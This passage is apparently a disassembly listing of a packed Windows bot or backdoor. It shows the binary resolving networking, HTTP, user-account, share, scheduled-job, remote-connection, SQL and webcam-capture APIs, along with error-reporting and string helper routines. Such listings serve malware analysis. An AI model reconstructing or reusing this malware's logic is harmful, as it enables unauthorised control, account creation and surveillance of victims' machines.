push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_43C590, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_43C6BC, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_43C534, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_43C510, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_43C5C4, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_43C5AC, eax call esi push offset aSocket ; "socket" push edi mov ds:dword_43C578, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_43C698, eax call esi push offset aConnect ; "connect" push edi mov ds:dword_43C6B4, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_43C5C0, eax call esi push offset aInet_addr ; "inet_addr" push edi mov ds:dword_43C6A4, eax call esi push offset aHtons ; "htons" push edi mov ds:dword_43C658, eax call esi push offset aHtonl ; "htonl" push edi mov ds:dword_43C618, eax call esi push offset aNtohs ; "ntohs" push edi mov ds:dword_43C614, eax call esi push offset aNtohl ; "ntohl" push edi mov ds:dword_43C554, eax call esi push offset aSend ; "send" push edi mov ds:dword_43C54C, eax call esi push offset aSendto ; "sendto" push edi mov ds:dword_43C668, eax call esi push offset aRecv ; "recv" push edi mov ds:dword_43C67C, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_43C630, eax call esi mov ds:dword_43C5F0, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov ds:dword_43C644, eax call esi push offset aListen ; "listen" push edi mov ds:dword_43C600, eax call esi push offset aAccept ; "accept" push edi mov ds:dword_43C640, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_43C6AC, eax call esi push offset aGetsockname ; "getsockname" push edi mov ds:dword_43C5F8, eax call esi push offset aGethostname ; "gethostname" push edi mov ds:dword_43C5BC, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_43C62C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_43C69C, eax call esi push offset aGetpeername ; "getpeername" push edi mov ds:dword_43C5D0, eax call esi push offset aClosesocket ; "closesocket" push edi mov ds:dword_43C574, eax call esi cmp ds:dword_43C590, ebx mov ds:dword_43C6B0, eax jz loc_409FD1 cmp ds:dword_43C6BC, ebx jz loc_409FD1 cmp ds:dword_43C534, ebx jz loc_409FD1 cmp ds:dword_43C5C4, ebx jz loc_409FD1 cmp ds:dword_43C5AC, ebx jz loc_409FD1 cmp ds:dword_43C578, ebx jz loc_409FD1 cmp ds:dword_43C698, ebx jz loc_409FD1 cmp ds:dword_43C6B4, ebx jz loc_409FD1 cmp ds:dword_43C5C0, ebx jz loc_409FD1 cmp ds:dword_43C6A4, ebx jz loc_409FD1 cmp ds:dword_43C658, ebx jz loc_409FD1 cmp ds:dword_43C618, ebx jz loc_409FD1 cmp ds:dword_43C614, ebx jz loc_409FD1 cmp ds:dword_43C554, ebx jz short loc_409FD1 cmp ds:dword_43C668, ebx jz short loc_409FD1 cmp ds:dword_43C67C, ebx jz short loc_409FD1 cmp ds:dword_43C630, ebx jz short loc_409FD1 cmp ds:dword_43C5F0, ebx jz short loc_409FD1 cmp ds:dword_43C644, ebx jz short loc_409FD1 cmp ds:dword_43C600, ebx jz short loc_409FD1 cmp ds:dword_43C640, ebx jz short loc_409FD1 cmp ds:dword_43C6AC, ebx jz short loc_409FD1 cmp ds:dword_43C5F8, ebx jz short loc_409FD1 cmp ds:dword_43C5BC, ebx jz short loc_409FD1 cmp ds:dword_43C62C, ebx jz short loc_409FD1 cmp ds:dword_43C69C, ebx jz short loc_409FD1 cmp ds:dword_43C5D0, ebx jz short loc_409FD1 cmp eax, ebx jnz short loc_409FDB jmp short loc_409FD1 ; --------------------------------------------------------------------------- loc_409FC6: ; CODE XREF: sub_40981A+501j call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C6FC, eax loc_409FD1: ; CODE XREF: sub_40981A+6A0j ; sub_40981A+6ACj ... mov ds:dword_43C6F8, 1 loc_409FDB: ; CODE XREF: sub_40981A+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E0 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_43C55C, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_43C4E8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_43C5E0, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_43C594, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_43C5EC, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_43C5B0, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_43C528, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_43C520, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_43C530, eax call esi cmp ds:dword_43C55C, ebx mov ecx, ds:dword_43C5B0 mov ds:dword_43C64C, eax jz short loc_40A0BC cmp ds:dword_43C4E8, ebx jz short loc_40A0BC cmp ds:dword_43C5E0, ebx jz short loc_40A0BC cmp ds:dword_43C594, ebx jz short loc_40A0BC cmp ds:dword_43C5EC, ebx jz short loc_40A0BC cmp ecx, ebx jz short loc_40A0BC cmp ds:dword_43C528, ebx jz short loc_40A0BC cmp ds:dword_43C520, ebx jz short loc_40A0BC cmp ds:dword_43C530, ebx jz short loc_40A0BC cmp eax, ebx jnz short loc_40A0C6 loc_40A0BC: ; CODE XREF: sub_40981A+860j ; sub_40981A+868j ... mov ds:dword_43C700, 1 loc_40A0C6: ; CODE XREF: sub_40981A+8A0j cmp ecx, ebx jz short loc_40A0FB push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_43C5C8, eax jnz short loc_40A0FB jmp short loc_40A0F5 ; --------------------------------------------------------------------------- loc_40A0E0: ; CODE XREF: sub_40981A+7CCj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C704, eax mov ds:dword_43C700, 1 loc_40A0F5: ; CODE XREF: sub_40981A+8C4j mov ds:dword_43C5C8, ebx loc_40A0FB: ; CODE XREF: sub_40981A+8AEj ; sub_40981A+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A145 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_43C5A4, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_43C6D0, eax call esi cmp ds:dword_43C5A4, ebx mov ds:dword_43C53C, eax jz short loc_40A150 cmp ds:dword_43C6D0, ebx jz short loc_40A150 cmp eax, ebx jnz short loc_40A15A jmp short loc_40A150 ; --------------------------------------------------------------------------- loc_40A145: ; CODE XREF: sub_40981A+8ECj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C70C, eax loc_40A150: ; CODE XREF: sub_40981A+91Bj ; sub_40981A+923j ... mov ds:dword_43C708, 1 loc_40A15A: ; CODE XREF: sub_40981A+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A250 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_43C518, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_43C4F0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_43C564, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_43C598, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_43C6A8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_43C550, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_43C4FC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_43C4EC, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_43C580, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_43C670, eax call esi cmp ds:dword_43C518, ebx mov ds:dword_43C628, eax jz short loc_40A25B cmp ds:dword_43C4F0, ebx jz short loc_40A25B cmp ds:dword_43C564, ebx jz short loc_40A25B cmp ds:dword_43C598, ebx jz short loc_40A25B cmp ds:dword_43C6A8, ebx jz short loc_40A25B cmp ds:dword_43C550, ebx jz short loc_40A25B cmp ds:dword_43C4FC, ebx jz short loc_40A25B cmp ds:dword_43C4EC, ebx jz short loc_40A25B cmp ds:dword_43C580, ebx jz short loc_40A25B cmp ds:dword_43C670, ebx jz short loc_40A25B cmp eax, ebx jnz short loc_40A265 jmp short loc_40A25B ; --------------------------------------------------------------------------- loc_40A250: ; CODE XREF: sub_40981A+94Bj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C714, eax loc_40A25B: ; CODE XREF: sub_40981A+9E6j ; sub_40981A+9EEj ... mov ds:dword_43C710, 1 loc_40A265: ; CODE XREF: sub_40981A+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29A push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_43C540, eax call esi cmp ds:dword_43C540, ebx mov ds:dword_43C610, eax jz short loc_40A2A5 cmp eax, ebx jnz short loc_40A2AF jmp short loc_40A2A5 ; --------------------------------------------------------------------------- loc_40A29A: ; CODE XREF: sub_40981A+A56j call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C71C, eax loc_40A2A5: ; CODE XREF: sub_40981A+A78j ; sub_40981A+A7Ej mov ds:dword_43C718, 1 loc_40A2AF: ; CODE XREF: sub_40981A+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E4 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_43C694, eax call esi cmp ds:dword_43C694, ebx mov ds:dword_43C690, eax jz short loc_40A2EF cmp eax, ebx jnz short loc_40A2F9 jmp short loc_40A2EF ; --------------------------------------------------------------------------- loc_40A2E4: ; CODE XREF: sub_40981A+AA0j call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C724, eax loc_40A2EF: ; CODE XREF: sub_40981A+AC2j ; sub_40981A+AC8j mov ds:dword_43C720, 1 loc_40A2F9: ; CODE XREF: sub_40981A+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A358 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_43C6C0, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_43C6B8, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_43C680, eax call esi cmp ds:dword_43C6C0, ebx mov ds:dword_43C558, eax jz short loc_40A363 cmp ds:dword_43C6B8, ebx jz short loc_40A363 cmp ds:dword_43C680, ebx jz short loc_40A363 cmp eax, ebx jnz short loc_40A36D jmp short loc_40A363 ; --------------------------------------------------------------------------- loc_40A358: ; CODE XREF: sub_40981A+AEAj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C72C, eax loc_40A363: ; CODE XREF: sub_40981A+B26j ; sub_40981A+B2Ej ... mov ds:dword_43C728, 1 loc_40A36D: ; CODE XREF: sub_40981A+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A2 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_43C58C, eax call esi cmp ds:dword_43C58C, ebx mov ds:dword_43C68C, eax jz short loc_40A3AD cmp eax, ebx jnz short loc_40A3B7 jmp short loc_40A3AD ; --------------------------------------------------------------------------- loc_40A3A2: ; CODE XREF: sub_40981A+B5Ej call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C734, eax loc_40A3AD: ; CODE XREF: sub_40981A+B80j ; sub_40981A+B86j mov ds:dword_43C730, 1 loc_40A3B7: ; CODE XREF: sub_40981A+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A440 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_43C654, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_43C6A0, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_43C5DC, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_43C59C, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_43C634, eax call esi cmp ds:dword_43C654, ebx mov ds:dword_43C5A8, eax jz short loc_40A44B cmp ds:dword_43C6A0, ebx jz short loc_40A44B cmp ds:dword_43C5DC, ebx jz short loc_40A44B cmp ds:dword_43C59C, ebx jz short loc_40A44B cmp ds:dword_43C634, ebx jz short loc_40A44B cmp eax, ebx jnz short loc_40A455 jmp short loc_40A44B ; --------------------------------------------------------------------------- loc_40A440: ; CODE XREF: sub_40981A+BA8j call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C73C, eax loc_40A44B: ; CODE XREF: sub_40981A+BFEj ; sub_40981A+C06j ... mov ds:dword_43C738, 1 loc_40A455: ; CODE XREF: sub_40981A+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48A push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_43C570, eax call esi cmp ds:dword_43C570, ebx mov ds:dword_43C648, eax jz short loc_40A495 cmp eax, ebx jnz short loc_40A49F jmp short loc_40A495 ; --------------------------------------------------------------------------- loc_40A48A: ; CODE XREF: sub_40981A+C46j call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C744, eax loc_40A495: ; CODE XREF: sub_40981A+C68j ; sub_40981A+C6Ej mov ds:dword_43C740, 1 loc_40A49F: ; CODE XREF: sub_40981A+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A4A7(int,char *Str,int,int) sub_40A4A7 proc near ; CODE XREF: sub_40EE51+57ABp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+Str] push esi xor esi, esi cmp ds:dword_43C6D8, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4EF push ds:dword_43C6DC lea eax, [ebp+Dest] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A4EF: ; CODE XREF: sub_40A4A7+1Aj cmp ds:dword_43C6E0, esi jz short loc_40A523 push ds:dword_43C6E4 lea eax, [ebp+Dest] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A523: ; CODE XREF: sub_40A4A7+4Ej cmp ds:dword_43C6E8, esi jz short loc_40A557 push ds:dword_43C6EC lea eax, [ebp+Dest] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A557: ; CODE XREF: sub_40A4A7+82j cmp ds:dword_43C6F0, esi jz short loc_40A58B push ds:dword_43C6F4 lea eax, [ebp+Dest] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A58B: ; CODE XREF: sub_40A4A7+B6j cmp ds:dword_43C6F8, esi jz short loc_40A5BF push ds:dword_43C6FC lea eax, [ebp+Dest] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A5BF: ; CODE XREF: sub_40A4A7+EAj cmp ds:dword_43C700, esi jz short loc_40A5F3 push ds:dword_43C704 lea eax, [ebp+Dest] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A5F3: ; CODE XREF: sub_40A4A7+11Ej cmp ds:dword_43C708, esi jz short loc_40A627 push ds:dword_43C70C lea eax, [ebp+Dest] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A627: ; CODE XREF: sub_40A4A7+152j cmp ds:dword_43C710, esi jz short loc_40A65B push ds:dword_43C714 lea eax, [ebp+Dest] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A65B: ; CODE XREF: sub_40A4A7+186j cmp ds:dword_43C718, esi jz short loc_40A68F push ds:dword_43C71C lea eax, [ebp+Dest] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A68F: ; CODE XREF: sub_40A4A7+1BAj cmp ds:dword_43C720, esi jz short loc_40A6C3 push ds:dword_43C724 lea eax, [ebp+Dest] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A6C3: ; CODE XREF: sub_40A4A7+1EEj cmp ds:dword_43C728, esi jz short loc_40A6F7 push ds:dword_43C72C lea eax, [ebp+Dest] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A6F7: ; CODE XREF: sub_40A4A7+222j cmp ds:dword_43C730, esi jz short loc_40A72B push ds:dword_43C734 lea eax, [ebp+Dest] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A72B: ; CODE XREF: sub_40A4A7+256j cmp ds:dword_43C738, esi jz short loc_40A75F push ds:dword_43C73C lea eax, [ebp+Dest] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A75F: ; CODE XREF: sub_40A4A7+28Aj cmp ds:dword_43C740, esi jz short loc_40A793 push ds:dword_43C744 lea eax, [ebp+Dest] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h loc_40A793: ; CODE XREF: sub_40A4A7+2BEj lea eax, [ebp+Dest] push offset unk_42C764 ; Format push eax ; Dest call _sprintf cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C0 push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 14h loc_40A7C0: ; CODE XREF: sub_40A4A7+302j lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx pop edi pop esi pop ebx leave retn sub_40A4A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A7D2(char *Src,char *SubStr,char *Str) sub_40A7D2 proc near ; CODE XREF: sub_40EE51+C4Fp ; sub_40EE51+C83p ... Src = dword ptr 8 SubStr = dword ptr 0Ch Str = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Src] xor esi, esi cmp edi, esi jz short loc_40A85D mov eax, [ebp+SubStr] cmp eax, esi jz short loc_40A85D cmp [ebp+Str], esi jz short loc_40A85D cmp byte ptr [eax], 0 jz short loc_40A85D push ebx push edi ; Src call __strdup mov ebx, eax pop ecx test ebx, ebx jz short loc_40A858 push [ebp+SubStr] ; SubStr push edi ; Str call _strstr mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A851 sub eax, edi push eax ; Count push edi ; Source push ebx ; Dest call _strncpy push [ebp+Str] ; Str mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call _strlen push eax ; Count push [ebp+Str] ; Source push ebx ; Dest call _strncat push [ebp+SubStr] ; Str call _strlen add eax, esi push eax ; Source push ebx ; Dest call _strcat push ebx ; Source push edi ; Dest call _strcpy add esp, 30h mov esi, edi loc_40A851: ; CODE XREF: sub_40A7D2+3Cj push ebx ; Memory call _free pop ecx loc_40A858: ; CODE XREF: sub_40A7D2+2Bj mov eax, esi pop ebx jmp short loc_40A85F ; --------------------------------------------------------------------------- loc_40A85D: ; CODE XREF: sub_40A7D2+Cj ; sub_40A7D2+13j ... xor eax, eax loc_40A85F: ; CODE XREF: sub_40A7D2+89j pop edi pop esi pop ebp retn sub_40A7D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A863(char *Str,int) sub_40A863 proc near ; CODE XREF: sub_40ECD9+E9p Dst = dword ptr -7D0h var_7CC = byte ptr -7CCh Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset mov esi, [ebp+Str] push esi ; Str call _strlen add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A899 or eax, 0FFFFFFFFh jmp short loc_40A90C ; --------------------------------------------------------------------------- loc_40A899: ; CODE XREF: sub_40A863+2Fj ; DATA XREF: UPX0:00427424o ... xor ecx, ecx mov [ebp+Dst], esi test eax, eax jle short loc_40A8BB loc_40A8A5: ; CODE XREF: sub_40A863+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B2 cmp dl, 0Dh jnz short loc_40A8B6 loc_40A8B2: ; CODE XREF: sub_40A863+48j and byte ptr [ecx+esi], 0 loc_40A8B6: ; CODE XREF: sub_40A863+4Dj inc ecx cmp ecx, eax jl short loc_40A8A5 loc_40A8BB: ; CODE XREF: sub_40A863+40j xor edx, edx push edi test eax, eax jle short loc_40A8EC lea edi, [ebp+var_7CC] loc_40A8C8: ; CODE XREF: sub_40A863+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8E7 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8E7 cmp ebx, 1F4h jge short loc_40A8EC mov [edi], ecx inc ebx add edi, 4 loc_40A8E7: ; CODE XREF: sub_40A863+69j ; sub_40A863+74j inc edx cmp edx, eax jl short loc_40A8C8 loc_40A8EC: ; CODE XREF: sub_40A863+5Dj ; sub_40A863+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90A lea eax, [ebp+Dst] push 7D0h ; Size push eax ; Src push [ebp+arg_4] ; Dst call _memcpy add esp, 0Ch loc_40A90A: ; CODE XREF: sub_40A863+8Ej mov eax, ebx loc_40A90C: ; CODE XREF: sub_40A863+34j pop esi pop ebx leave retn sub_40A863 endp ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_40A96A+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A949 push ebx mov ebx, edi loc_40A92D: ; CODE XREF: sub_40A910+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A94C pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A92D pop ebx loc_40A949: ; CODE XREF: sub_40A910+18j pop edi pop esi retn sub_40A910 endp ; =============== S U B R O U T I N E ======================================= sub_40A94C proc near ; CODE XREF: sub_40A910+25p ; sub_40A96A+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax ; C call _tolower ; _tolower cmp al, 61h pop ecx jl short loc_40A967 cmp al, 7Ah jg short loc_40A967 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A967: ; CODE XREF: sub_40A94C+Ej ; sub_40A94C+12j xor eax, eax retn sub_40A94C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A96A(char *Str,int) sub_40A96A proc near ; CODE XREF: sub_40C04F+10p ; sub_40C081+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call __alloca_probe push ebx push esi push edi push [ebp+Str] ; Str call _strlen push [ebp+arg_4] ; Str mov [ebp+var_4], eax call _strlen mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A910 add esp, 14h dec esi mov edi, esi loc_40A9A8: ; CODE XREF: sub_40A96A+B6j test esi, esi jle short loc_40AA26 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov ebx, eax mov eax, [ebp+Str] movsx eax, byte ptr [edi+eax] push eax ; C call _tolower ; _tolower pop ecx cmp eax, ebx pop ecx jz short loc_40AA1E loc_40A9CE: ; CODE XREF: sub_40A96A+B2j mov ebx, [ebp+Str] mov al, [edi+ebx] push eax call sub_40A94C mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9EF mov eax, ecx loc_40A9EF: ; CODE XREF: sub_40A96A+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA22 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov edx, eax movsx eax, byte ptr [edi+ebx] push eax ; C mov [ebp+var_8], edx call _tolower ; _tolower pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9CE loc_40AA1E: ; CODE XREF: sub_40A96A+62j dec edi dec esi jmp short loc_40A9A8 ; --------------------------------------------------------------------------- loc_40AA22: ; CODE XREF: sub_40A96A+8Aj xor eax, eax jmp short loc_40AA2B ; --------------------------------------------------------------------------- loc_40AA26: ; CODE XREF: sub_40A96A+40j mov eax, [ebp+Str] add eax, edi loc_40AA2B: ; CODE XREF: sub_40A96A+BAj pop edi pop esi pop ebx leave retn sub_40A96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA30 proc near ; CODE XREF: sub_40EE51+3C94p ; sub_40EE51+4AD0p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_423088 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_423100 lea eax, [ebp+var_100] loc_40AA69: ; CODE XREF: sub_40AA30+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA75 cmp cl, 9 jnz short loc_40AA78 loc_40AA75: ; CODE XREF: sub_40AA30+3Ej inc eax jmp short loc_40AA69 ; --------------------------------------------------------------------------- loc_40AA78: ; CODE XREF: sub_40AA30+43j ; sub_40AA30+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA92 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA78 cmp cl, 21h jl short loc_40AA78 loc_40AA92: ; CODE XREF: sub_40AA30+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset byte_43C748 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop esi leave retn sub_40AA30 endp ; =============== S U B R O U T 